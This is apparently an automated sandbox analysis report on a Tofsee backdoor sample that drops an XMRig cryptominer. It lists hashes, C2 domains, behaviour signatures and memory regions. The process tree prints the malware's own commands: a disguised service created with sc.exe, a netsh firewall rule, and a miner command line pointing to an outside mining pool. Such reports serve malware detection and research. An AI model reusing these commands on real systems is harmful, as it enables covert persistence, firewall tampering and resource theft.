Analysis

  • max time kernel
    159s
  • max time network
    184s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:33

General

  • Target

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe

  • Size

    265KB

  • MD5

    695c14c51ae9ff59157cf69f97b2d1cc

  • SHA1

    4688eea11efa5c61c7704b5ca80196eb9099e867

  • SHA256

    f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1

  • SHA512

    e43e45420544f2fd736f2427443941f1da5b8d4a74d4c9d2e0a95c8306b2f10e12beaa6b0c2ec2715ecbd66b41431f404c942c32720a8b3ee2afa640657d4688

  • SSDEEP

    3072:d6LaowspCAE+mYgDxv5l7Iek5Ym7IQoiteVFWbVD22WsgAsR6c7ovb3TQh9:SaWCAF5Cf7Iem57InitGMxycQMrT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe
    "C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hwobdfnc\
      2⤵
        PID:2676
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\krqdlltx.exe" C:\Windows\SysWOW64\hwobdfnc\
        2⤵
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hwobdfnc binPath= "C:\Windows\SysWOW64\hwobdfnc\krqdlltx.exe /d\"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hwobdfnc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hwobdfnc
          2⤵
          • Launches sc.exe
          PID:2536
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2564
      • C:\Windows\SysWOW64\hwobdfnc\krqdlltx.exe
        C:\Windows\SysWOW64\hwobdfnc\krqdlltx.exe /d"C:\Users\Admin\AppData\Local\Temp\f2b4ea5a8678e6b4ff70b238e34a208f4287f113ba6a65c12592a01cf9cf17c1.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2864
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2244

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\krqdlltx.exe

              Filesize

              11.9MB

              MD5

              e8e4b444be16cdf31bb7ea935cc5d898

              SHA1

              8e3812e255710e09052a34dff65e88b4c784dfd0

              SHA256

              7dd5dfac696b98d02822f8c71b43c3b5acb2e5053510b59c845683ef3e1c3664

              SHA512

              3b25d1d1c6c9c52effba66610fedbd0d572d0317dcb7d343b55281179abd6ffea1b9da25c19e268a7e5deb7b2ce07649a810407cb89c507f33bf4df432b3a196

            • C:\Windows\SysWOW64\hwobdfnc\krqdlltx.exe

              Filesize

              11.9MB

              MD5

              e8e4b444be16cdf31bb7ea935cc5d898

              SHA1

              8e3812e255710e09052a34dff65e88b4c784dfd0

              SHA256

              7dd5dfac696b98d02822f8c71b43c3b5acb2e5053510b59c845683ef3e1c3664

              SHA512

              3b25d1d1c6c9c52effba66610fedbd0d572d0317dcb7d343b55281179abd6ffea1b9da25c19e268a7e5deb7b2ce07649a810407cb89c507f33bf4df432b3a196

            • memory/2172-1-0x0000000000570000-0x0000000000670000-memory.dmp

              Filesize

              1024KB

            • memory/2172-2-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/2172-3-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2172-6-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2172-8-0x0000000000570000-0x0000000000670000-memory.dmp

              Filesize

              1024KB

            • memory/2172-9-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/2172-11-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/2244-77-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2244-76-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2244-75-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2244-74-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2244-65-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2244-64-0x0000000000190000-0x0000000000281000-memory.dmp

              Filesize

              964KB

            • memory/2864-40-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-48-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-30-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2864-29-0x0000000001960000-0x0000000001B6F000-memory.dmp

              Filesize

              2.1MB

            • memory/2864-33-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-36-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-37-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-38-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-39-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-24-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2864-41-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-42-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-43-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-44-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-45-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-46-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-47-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-26-0x0000000001960000-0x0000000001B6F000-memory.dmp

              Filesize

              2.1MB

            • memory/2864-49-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-50-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-51-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-52-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2864-53-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

            • memory/2864-56-0x00000000001B0000-0x00000000001B5000-memory.dmp

              Filesize

              20KB

            • memory/2864-57-0x00000000056F0000-0x0000000005AFB000-memory.dmp

              Filesize

              4.0MB

            • memory/2864-60-0x00000000056F0000-0x0000000005AFB000-memory.dmp

              Filesize

              4.0MB

            • memory/2864-61-0x0000000000260000-0x0000000000267000-memory.dmp

              Filesize

              28KB

            • memory/2864-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2864-82-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2864-17-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2864-16-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2864-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3000-14-0x0000000000660000-0x0000000000760000-memory.dmp

              Filesize

              1024KB

            • memory/3000-15-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB

            • memory/3000-21-0x0000000000400000-0x00000000004F6000-memory.dmp

              Filesize

              984KB